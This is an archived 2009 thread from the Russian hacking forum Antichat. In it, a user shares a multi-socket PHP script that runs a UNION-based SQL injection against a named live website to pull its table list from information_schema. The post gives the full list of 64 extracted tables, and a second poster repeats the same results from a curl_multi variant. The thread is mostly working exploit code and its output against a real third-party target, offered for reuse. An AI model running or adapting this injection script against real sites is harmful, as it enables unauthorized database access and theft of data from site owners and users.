Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
php fsockopen multithread + SQL-injection |

31.08.2009, 03:55
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
php fsockopen multithread + SQL-injection
Нарыл в интернете один скрипт интересный, в принципе переделал некоторые существенные детали и приспособил под некоторые нужды. Ниже будет приведен пример использования наверное всё-таки псевдомультипоточности в PHP на примерe sql-inj, если точнее, получение списка таблиц из informations_schema.tables в количестве 64 штук на примере одной sql-инъекции из наших sql-инъекций.
Скрипт работает значительно быстрее, нежели просто через fscockopen в цикле, насколько быстрее и быстрее ли curl_multi_init - не проверял. Протестен на WIN XP SP2 на denwer (время работы 13 сек) и в bamcompile1.21 (время работы 14), все 64 таблички выявил и записал в файлик за 13 секунд (лучший результат), т.е 64 запроса за 13 секунд ~ 4,92 запросов в секунду - на моей в принципе уже древней тачке и инете 4 мбит/сек:
PHP код:
<?php
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$bb = fopen('123.txt','w');
// Создаем массив с ссылками (пример простой, нам заранее известно, что в данной БД 64 таблицы, демонстрация работы)
for ($z = 0;$z<64;$z++) {
$links_array[] = "rockgallery/index.php?id=-8+union+select+1,2,3,CONCAT(0x3c73716c3e,table_name,0x3c2f73716c3e),5,6+from+information_schema.tables+limit+". $z . ",1--";
}
$host='artecapital.net'; // наш хост
$max_threads = 50; // максимальное количество потоков
$threads = array(); // тут будем держать открытые потоки
$a = "";
$socket_timeout = 3600;
$done = false;
reset($links_array);
$start = getmicrotime();
while(!$done) {
// если количество запущенных потоков меньше максимального
if(count($threads) < $max_threads) {
// получаем очередную ссылку
if($link=current($links_array)) {
// открываем сокет и формируем заголовок
$socket = fsockopen($host, 80);
$url="http://".$host . "/" . $link;
fputs($socket, "GET $url \r\n");
fputs($socket, "Host: $host\r\n");
fputs($socket, "\r\n");
stream_set_blocking($socket, 0);
stream_set_timeout($socket, $socket_timeout);
// запоминаем запущенный сокет
$threads[] = $socket;
// переходим к следующей ссылке
next($links_array);
}
}
foreach ($threads as $key=>$socket) {
if(feof($socket)) {
// если поток отработал, убираем его
$a = "";
fclose($socket);
unset($threads[$key]);
} else {
$a.= fgets($socket,4096);
if (preg_match("#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i",$a,$res)) {
$i++;
fwrite ($bb,$i . ":" . $res[1] . "\r\n");
//echo $res[1] . "\n";
$a = "";
fclose($socket);
unset($threads[$key]);
}
}
}
// Тут типо пауза, если вдруг понадобится
//sleep(1);
if (count($threads) == 0) $done = true;
}
$end = getmicrotime();
fwrite($bb, "--------------------------------------\r\n");
fwrite($bb, "Time start: " . date('H:i:s',$start)."\r\n");
fwrite($bb, "Time end: ". date('H:i:s',$end)."\r\n");
$w = round(($end - $start),0);
fwrite($bb, "Execute time: ".gmdate('H:i:s',$w));
fclose ($bb);
echo "Done, saved in 123.txt";
?>
Результат работы скрипта:
Код:
1:CHARACTER_SETS
2:COLLATIONS
3:COLLATION_CHARACTER_SET_APPLICABILITY
4:COLUMNS
5:COLUMN_PRIVILEGES
6:KEY_COLUMN_USAGE
7:PROFILING
8:ROUTINES
9:SCHEMATA
10:SCHEMA_PRIVILEGES
11:STATISTICS
12:TABLES
13:TABLE_CONSTRAINTS
14:TABLE_PRIVILEGES
15:TRIGGERS
16:USER_PRIVILEGES
17:VIEWS
18:art_actividades
19:art_actividades_tipos
20:art_arq_des
21:art_arq_des_imgs
22:art_artistas
23:art_banners
24:art_cidades
25:art_criticas
26:art_criticas_imgs
27:art_dados
28:art_dados_imgs
29:art_destaques
30:art_entrevistas
31:art_entrevistas_imgs
32:art_estado_arte
33:art_estado_arte_imgs
34:art_estatisticas
35:art_estatisticas_tipos
36:art_eventos
37:art_eventos_tipos
38:art_exposicoes
39:art_fotografia
40:art_fotografia_imgs
41:art_locais
42:art_locais_tipos
43:art_moda
44:art_moda_imgs
45:art_newsletter_rec
46:art_newsletter_sub
47:art_noticias
48:art_opinioes
49:art_opinioes_imgs
50:art_paises
51:art_perspectivas
52:art_perspectivas_imgs
53:art_plataforma
54:art_plataforma_imgs
55:art_pub_entidades
56:art_pub_not_imgs
57:art_pub_noticias
58:art_recomendacoes
59:art_recomendacoes_eventos
60:art_recomendacoes_eventos_imgs
61:art_recomendacoes_imgs
62:art_rockgallery
63:art_rockgallery_imgs
64:art_utilizadores
--------------------------------------
Time start: 03:31:17
Time end: 03:31:30
Execute time: 00:00:13
просьба сравнить с ЛЮБЫМИ другими аналогами реализации многопоточности на php и поделиться результатами. Ну и ваша, несомненно полезная, критика, приветствуется.
PS: Нагрузка на систему и потребление памяти на WIN XP SP2 вообще не заметно практически
|
|
|

31.08.2009, 14:01
|
|
Познающий
Регистрация: 14.09.2008
Сообщений: 30
Провел на форуме: 117615
Репутация:
21
|
|
Проверил на локалке, довольно неплохо
|
|
|

31.08.2009, 14:11
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
2 мегабита, класс с curl_multi_init:
1:CHARACTER_SETS
2:COLLATIONS
3:COLLATION_CHARACTER_SET_APPLICABILITY
4:COLUMNS
5:COLUMN_PRIVILEGES
6:KEY_COLUMN_USAGE
7:PROFILING
8:ROUTINES
9:SCHEMATA
10:SCHEMA_PRIVILEGES
11:STATISTICS
12:TABLES
13:TABLE_CONSTRAINTS
14:TABLE_PRIVILEGES
15:TRIGGERS
16:USER_PRIVILEGES
17:VIEWS
18:art_actividades
19:art_actividades_tipos
20:art_arq_des
21:art_arq_des_imgs
22:art_artistas
23:art_banners
24:art_cidades
25:art_criticas
26:art_criticas_imgs
27:art_dados
28:art_dados_imgs
29:art_destaques
30:art_entrevistas
31:art_entrevistas_imgs
32:art_estado_arte
33:art_estado_arte_imgs
34:art_estatisticas
35:art_estatisticas_tipos
36:art_eventos
37:art_eventos_tipos
38:art_exposicoes
39:art_fotografia
40:art_fotografia_imgs
41:art_locais
42:art_locais_tipos
43:art_moda
44:art_moda_imgs
45:art_newsletter_rec
46:art_newsletter_sub
47:art_noticias
48:art_opinioes
49:art_opinioes_imgs
50:art_paises
51:art_perspectivas
52:art_perspectivas_imgs
53:art_plataforma
54:art_plataforma_imgs
55:art_pub_entidades
56:art_pub_not_imgs
57:art_pub_noticias
58:art_recomendacoes
59:art_recomendacoes_eventos
60:art_recomendacoes_eventos_imgs
61:art_recomendacoes_imgs
62:art_rockgallery
63:art_rockgallery_imgs
64:art_utilizadores
общее время работы скрипта: 8.0584
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|